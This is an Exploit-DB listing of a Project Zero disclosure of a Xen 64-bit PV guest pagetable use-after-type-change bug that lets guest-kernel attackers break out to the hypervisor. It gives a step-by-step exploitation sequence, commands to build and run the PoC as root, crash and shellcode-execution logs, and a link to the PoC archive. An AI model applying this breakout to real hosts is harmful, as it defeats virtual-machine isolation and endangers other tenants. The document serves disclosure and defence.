Xen 64bit PV Guest - pagetable use-after-type-change Breakout

EDB-ID:

41973

CVE:





Platform:

Linux

Date:

2017-05-08


Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1231

This is a bug in Xen that permits an attacker with control over the
kernel of a 64bit X86 PV guest to write arbitrary entries into a live
top-level pagetable.

To prevent PV guests from doing things like mapping live pagetables as
writable, Xen assigns types to physical pages and tracks type-specific
references with a reference counter ("type count", stored in the low
bits of page->u.inuse.type_info).

64-bit PV guests have multiple places in which the addresses of
top-level pagetables are stored:

arch.guest_table_user and arch.guest_table in the vcpu struct point to
the pagetables the guest has designated as user-mode top-level
pagetable and kernel-mode top-level pagetable. Both of these fields
take a type-specific reference on the pagetable to prevent the guest
from mapping it as writable.

arch.cr3 in the vcpu struct points to the current top-level pagetable
of the vCPU. While the vCPU is scheduled, arch.cr3 is the same as the
physical CPU's CR3.
arch.cr3 does not take an extra type-specific reference; it borrows
the reference from either arch.guest_table_user or arch.guest_table.
This means that whenever the field from which the reference is
borrowed is updated, arch.cr3 (together with the physical CR3) must be
updated as well.

The guest can update arch.guest_table_user and arch.guest_table using
__HYPERVISOR_mmuext_op with commands
MMUEXT_NEW_USER_BASEPTR (for arch.guest_table_user) and
MMUEXT_NEW_BASEPTR (for arch.guest_table). The handlers for these
commands assume that when the hypercall is executed, arch.cr3 always
equals arch.guest_table: The MMUEXT_NEW_BASEPTR handler updates
arch.cr3 to the new arch.guest_table, the MMUEXT_NEW_USER_BASEPTR
handler doesn't touch arch.cr3.

Hypercalls can only be executed from kernel context, so on hypercall
entry, arch.cr3==arch.guest_table is indeed true. However, using the
__HYPERVISOR_multicall hypercall, it is possible to execute the
__HYPERVISOR_iret hypercall, which can switch the pagetables to user
context, immediately followed by the __HYPERVISOR_mmuext_op hypercall
before actually entering guest user context.


This can be exploited from guest kernel context roughly as follows:

 - copy all entries from the top-level kernel pagetable over the
   top-level user pagetable (to make it possible for a post-iret
   hypercall to access guest kernel memory)
 - allocate a new page to be used later as top-level user pagetable,
   copy the contents of the current top-level user pagetable into it,
   remap it as readonly and pin it as a top-level pagetable
 - perform the following operations in a single multicall:
  - switch to user context using __HYPERVISOR_iret
  - change arch.guest_table_user to the new top-level user pagetable
    using __HYPERVISOR_mmuext_op with command MMUEXT_NEW_USER_BASEPTR
 - unpin the old top-level user pagetable
 - map the old top-level user pagetable as writable
 - write crafted entries into the old top-level user pagetable


I have attached a proof of concept that corrupts the top-level
pagetable entry that maps the hypervisor text, causing a host
triplefault. I have tested the proof of concept in the following
configurations:

configuration 1:
running inside VMware Workstation
Xen version "Xen version 4.6.0 (Ubuntu 4.6.0-1ubuntu4.3)"
dom0: Ubuntu 16.04.2, Linux 4.8.0-41-generic #44~16.04.1-Ubuntu
unprivileged guest: Ubuntu 16.04.2, Linux 4.4.0-66-generic #87-Ubuntu

configuration 2:
running on a physical machine with Qubes OS 3.2 installed
Xen version 4.6.4

Compile the PoC with ./compile.sh, then run ./attack as root.

PoC Filename: xen_ptuaf.tar 

################################################################################

Here's an exploit that causes the hypervisor to execute shellcode that then deliberately causes a hypervisor GPF by calling a noncanonical address. Usage:

root@pv-guest:~/xen_ptuaf_hv_shellcode_exec# ./compile.sh                                                                                                                                                                                                                                                                  
make: Entering directory '/usr/src/linux-headers-4.4.0-66-generic'
  LD      /root/xen_ptuaf_hv_shellcode_exec/built-in.o
  CC [M]  /root/xen_ptuaf_hv_shellcode_exec/module.o
nasm -f elf64 -o /root/xen_ptuaf_hv_shellcode_exec/native.o /root/xen_ptuaf_hv_shellcode_exec/native.asm
  LD [M]  /root/xen_ptuaf_hv_shellcode_exec/test.o
  Building modules, stage 2.
  MODPOST 1 modules
WARNING: could not find /root/xen_ptuaf_hv_shellcode_exec/.native.o.cmd for /root/xen_ptuaf_hv_shellcode_exec/native.o
  CC      /root/xen_ptuaf_hv_shellcode_exec/test.mod.o
  LD [M]  /root/xen_ptuaf_hv_shellcode_exec/test.ko
make: Leaving directory '/usr/src/linux-headers-4.4.0-66-generic'
root@pv-guest:~/xen_ptuaf_hv_shellcode_exec# ./attack                                                                                                                                                                                                                                                                      
kernel CR3: 0xaa2dd000
L1 self-mapping is up, should have reliable pagetable control now
virt_to_pte(0x7f5bd439a000)
[ rest of output missing because of VM crash ]


Serial output:

(XEN) ----[ Xen-4.6.0  x86_64  debug=n  Tainted:    C ]----
(XEN) CPU:    2
(XEN) RIP:    e008:[<00007f5bd439a03f>] 00007f5bd439a03f
(XEN) RFLAGS: 0000000000010246   CONTEXT: hypervisor (d1v2)
(XEN) rax: 1337133713371337   rbx: 1337133713371337   rcx: 1337133713371337
(XEN) rdx: 1337133713371337   rsi: 00007ffe98b5e248   rdi: 0000600000003850
(XEN) rbp: 1337133713371337   rsp: ffff8301abb37f30   r8:  0000000000000000
(XEN) r9:  000000000000001b   r10: 0000000000000000   r11: 0000000000000202
(XEN) r12: 0000000080000000   r13: ffff8800026dd000   r14: ffff880003453c88
(XEN) r15: 0000000000000007   cr0: 0000000080050033   cr4: 00000000001506a0
(XEN) cr3: 00000000aa2dc000   cr2: ffff88007cfb2e98
(XEN) ds: 0000   es: 0000   fs: 0000   gs: 0000   ss: 0000   cs: e008
(XEN) Xen stack trace from rsp=ffff8301abb37f30:
(XEN)    1337133713371337 1337133713371337 1337133713371337 1337133713371337
(XEN)    1337133713371337 1337133713371337 1337133713371337 1337133713371337
(XEN)    1337133713371337 1337133713371337 1337133713371337 1337133713371337
(XEN)    1337133713371337 0000000000401556 000000000000e033 0000000000000246
(XEN)    00007ffe98b5e208 000000000000e02b 0000000000000000 0000000000000000
(XEN)    0000000000000000 0000000000000000 0000000000000002 ffff830088c9c000
(XEN)    000000312b835580 0000000000000000
(XEN) Xen call trace:
(XEN)    [<00007f5bd439a03f>] 00007f5bd439a03f
(XEN) 
(XEN) 
(XEN) ****************************************
(XEN) Panic on CPU 2:
(XEN) GENERAL PROTECTION FAULT
(XEN) [error_code=0000]
(XEN) ****************************************
(XEN) 
(XEN) Reboot in five seconds...

PoC Filename: xen_ptuaf_hv_shellcode_exec.tar 


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41973.zip